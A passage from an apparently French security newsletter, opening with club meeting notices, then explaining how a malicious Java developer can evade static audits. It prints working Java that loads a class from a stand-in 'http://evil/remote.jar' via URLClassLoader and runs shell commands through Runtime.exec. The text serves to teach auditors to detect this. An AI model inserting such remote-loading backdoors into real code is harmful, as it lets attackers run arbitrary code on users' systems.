. Prochaine réunion à Marseille annoncée prochainement . Prochaine réunion à Rennes annoncée prochainement Inscrivez-vous sur la liste de Toulouse, Marseille, etc. sur www.club-27001.fr pour avoir l'activité des clubs en région. --[ 12. Le saviez vous ? La réponse ]------------------------------------ Lors d'audit statique de code, bon nombre d'auditeurs recherchent en priorité l'utilisation d'objets à risque (Runtime, ProcessBuilder, etc.). Cependant, un développeur malveillant suffisament malin prendra généralement toutes les précautions nécessaires pour cacher sa porte dérobée aux yeux des potentiels auditeurs. Pour arriver à ces fins, plusieurs moyens existent: insertion de Valves sous Tomcat, utilisation de fichiers .properties, etc. Ces solutions nécessitent cependant que le code malveillant soit tout de même présent au sein de l'application sous forme de .jar ou de .class très souvent caché dans un répertoire obscur du framework utilisé. Dans ces conditions, le code malveillant ne résistera pas très longtemps aux "grep" et décompilations acharnées d'un auditeur motivé. Une alternative permet cependant d'éviter ce désagrément : charger dynamiquement au sein du programme en cours d'exécution des .jar ou .class hébergés sur un serveur distant à l'aide d'un chargeur de classes spécifiquement prévu à cet effet : l'URLClassLoader. Ce classloader est disponible depuis Java 1.2 [1] et a pour caractèristique d'aller récupérer les .jar ou .class situés aux URL (distantes ou non) qui lui ont été fournies lors de son instanciation. Une fois chargées, les classes récupérées peuvent être instanciées et invoquées en utilisant le mécanisme de réflexion fournit par Java : try{ /* Construction des URL où chercher */ URL[] classUrls = { new URL("http://evil/remote.jar") }; /* Instanciation du classloader avec les URL */ URLClassLoader urlLoader = new URLClassLoader(classUrls); /* Chargement et instanciation de la classe malveillante */ Class cls = urlLoader.loadClass("hsc.Remote"); Object malicious = cls.newInstance(); /* Invocation de la méthode malveillante */ Method maliciousMethod = cls.getMethod("print"); System.out.println(maliciousMethod.invoke(malicious)); } catch(Exception e) { e.printStackTrace(); } Le code malveillant n'est plus présent ni dans l'application ni dans une bibliothèque du classpath et réalise pourtant des opérations potentiellement malveillantes : package hsc; import java.io.*; public class Remote { public String print() { Process proc; BufferedReader output; StringBuilder result = new StringBuilder(); String[] cmdArray = {"/bin/bash", "-c", "id"}; try { proc = Runtime.getRuntime().exec(cmdArray); output = new BufferedReader( new InputStreamReader(proc.getInputStream()) ); char buffer[] = new char[8192]; int lenRead; while ((lenRead = output.read(buffer, 0, buffer.length)) > 0) { for (int i = 0; i < lenRead; i++) { result.append(buffer[i]); } } } catch (Exception e) { e.printStackTrace(); } return result.toString(); } } et ceci directement sur le système sur lequel le programme est lancé : # java Hello uid=0(root) gid=0(root) groupes=0(root) Combinée à des techniques de camouflages avancées permettant l'appel du logiciel malveillant sans que celui-ci soit spécifiquement appelé au sein du code légitime [2], cette méthode peut être particulièrement redoutable. Il est donc important d'inclure dans le processus d'audit statique, la détection de l'utilisation de telles fonctionnalités. -- Renaud Dubourguais [1] http://download.oracle.com/javase/1.4.2/docs/api/java/net/URLClassLoader.html [2] http://actes.sstic.org/SSTIC09/Porte_derobee_dans_les_serveurs_applications_JavaEE/SSTIC09-article-P-Prados-Porte_derobee_dans_les_serveurs_d-applications_JavaEE.pdf